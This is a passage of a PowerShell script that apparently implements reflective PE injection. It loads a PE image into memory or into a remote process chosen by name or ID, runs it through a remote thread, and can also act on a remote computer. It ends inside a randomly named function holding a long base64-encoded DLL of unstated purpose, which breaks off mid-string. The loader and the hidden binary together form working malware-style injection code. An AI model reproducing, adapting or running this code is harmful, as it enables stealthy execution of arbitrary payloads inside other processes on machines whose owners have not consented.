				$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)

				if ($ImportDllHandle -eq $null)
				{
					Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
				}

				$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
				if ($Success -eq $false)
				{
					Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
				}

				$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
			}
		}


		Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
		$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
		$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
		$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)

		$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null


		$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
		if ($Success -eq $false)
		{
			Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
		}
	}


	Function Main
	{
		$Win32Functions = Get-Win32Functions
		$Win32Types = Get-Win32Types
		$Win32Constants =  Get-Win32Constants

		$RemoteProcHandle = [IntPtr]::Zero


		if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
		{
			Throw "Can't supply a ProcId and ProcName, choose one or the other"
		}
		elseif ($ProcName -ne $null -and $ProcName -ne "")
		{
			$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
			if ($Processes.Count -eq 0)
			{
				Throw "Can't find process $ProcName"
			}
			elseif ($Processes.Count -gt 1)
			{
				$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
				Write-Output $ProcInfo
				Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
			}
			else
			{
				$ProcId = $Processes[0].ID
			}
		}









		if (($ProcId -ne $null) -and ($ProcId -ne 0))
		{
			$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
			if ($RemoteProcHandle -eq [IntPtr]::Zero)
			{
				Throw "Couldn't obtain the handle for process ID: $ProcId"
			}

			Write-Verbose "Got the handle for the remote process to inject in to"
		}



		Write-Verbose "Calling Invoke-MemoryLoadLibrary"
		$PEHandle = [IntPtr]::Zero
		if ($RemoteProcHandle -eq [IntPtr]::Zero)
		{
			$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
		}
		else
		{
			$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
		}
		if ($PELoadedInfo -eq [IntPtr]::Zero)
		{
			Throw "Unable to load PE, handle returned is NULL"
		}

		$PEHandle = $PELoadedInfo[0]
		$RemotePEHandle = $PELoadedInfo[1]



		$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
		if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
		{



	        switch ($FuncReturnType)
	        {
	            'WString' {
	                Write-Verbose "Calling function with WString return type"
				    [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
				    if ($WStringFuncAddr -eq [IntPtr]::Zero)
				    {
					    Throw "Couldn't find function address."
				    }
				    $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
				    $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
				    [IntPtr]$OutputPtr = $WStringFunc.Invoke()
				    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
				    Write-Output $Output
	            }

	            'String' {
	                Write-Verbose "Calling function with String return type"
				    [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
				    if ($StringFuncAddr -eq [IntPtr]::Zero)
				    {
					    Throw "Couldn't find function address."
				    }
				    $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
				    $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
				    [IntPtr]$OutputPtr = $StringFunc.Invoke()
				    $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
				    Write-Output $Output
	            }

	            'Void' {
	                Write-Verbose "Calling function with Void return type"
				    [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
				    if ($VoidFuncAddr -eq [IntPtr]::Zero)
				    {

				    }
					else
					{
				    $VoidFuncDelegate = Get-DelegateType @() ([Void])
				    $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
				    $VoidFunc.Invoke() | Out-Null
					}
	            }
	        }



		}

		elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
		{
			$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
			if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
			{

			}
			else{
			$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
			$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle


			$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
			}
		}



		if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
		{

		}
		else
		{






		}

		Write-Verbose "Done!"
	}

	Main
}


Function Main
{
	if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
	{
		$DebugPreference  = "Continue"
	}

	Write-Verbose "PowerShell ProcessID: $PID"


	$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''

    if ($e_magic -ne 'MZ')
    {
        throw 'PE is not a valid PE file.'
    }

	if (-not $DoNotZeroMZ) {


		$PEBytes[0] = 0
		$PEBytes[1] = 0
	}


	if ($ExeArgs -ne $null -and $ExeArgs -ne '')
	{
		$ExeArgs = "ReflectiveExe $ExeArgs"
	}
	else
	{
		$ExeArgs = "ReflectiveExe"
	}

	if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
	{
		Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
	}
	else
	{
		Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
	}
}

Main
}

function Invoke-JICNRAFSKZZGYX
{

$PEBytes32 = "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OUgAAI1FyMZFtQBQVmoPaDoKAABocAIBEOgfSAAAg8RQxkXLAI1F+FBqAmoGXlZoMQMAAGhwAgEQ6P9HAACNRajGRfoAUFZqEGiLAQAAaHACARDo5UcAAI1FxMZFrgBQagNqBGj0DAAAaHACARDoykcAAI1FoMZFxwBQVmoOaAYFAABocAIBEOiwRwAAjUX8xkWmAImF1P7//4PEUI1F6MeF3P7//5QRABCJheD+//+NReSJhez+//+NReCJhfj+//+NRdxqBVmJhQT///+NRdiJjdj+//+JjeT+///Hhej+//91EQAQiY3w/v//x4X0/v//dxIAEIm1/P7//8eFAP///34QABDHhQj///8BAAAAx4UM////LBMAEImFEP///2oCjUXUiY0s////iYUc////jUXQiYUo////jUXMiYU0////jUW4iYVA////jUWwiYVM////jUXIiYVY////jUX4iYVk////jUWoWomFcP///41FxGoDiYV8////jUWgiY1E////iY1Q////iY1c////WYlFiI2F1P7//2oQUFeJlRT////HhRj////xEQAQiZUg////x4Uk////NBIAEMeFMP///5EQABCJtTj////HhTz///8DEQAQx4VI////FhEAEMeFVP///1YRABDHhWD////DEAAQiY1o////x4Vs////sBAAEImNdP///8eFeP///2QSABCJdYDHRYRrEAAQiU2Mx0WQIRIAEOgNTwAAi/CNhYz+//9XUOizqwAAU+gPMAAAg8QYhfYPhEYDAADooQkAAKMUIgEQu3ACARCNRexQaghqD19XaPYBAABT6MhFAAAzwGaJRfSNRZRQaghXahpT6LNFAAAzwGaJRZyNhcj+//9QagpqDmjsBgAAU+iXRQAAM8BQaiBoACEBEGaJhdL+///o3kQAAIPESKMMIgEQ6Lk2AACjECIBEIXAdQ+NRexQ6IJJAABZoxAiARDoDAMAAKMIIgEQ6M83AACjGCIBEIXAdQ+NRexQ6FtJAABZoxgiARDoGDMAAKMcIgEQhcB1D41F7FDoPkkAAFmjHCIBEOhnNAAAoyAiARCFwHUPjUXsUOghSQAAWaMgIgEQ6GY1AACjJCIBEIXAdQ+NRexQ6ARJAABZoyQiARDoOTgAAIXAjZXI/v//jU2UD0TKUejlSAAAWaMoIgEQ6MY2AACj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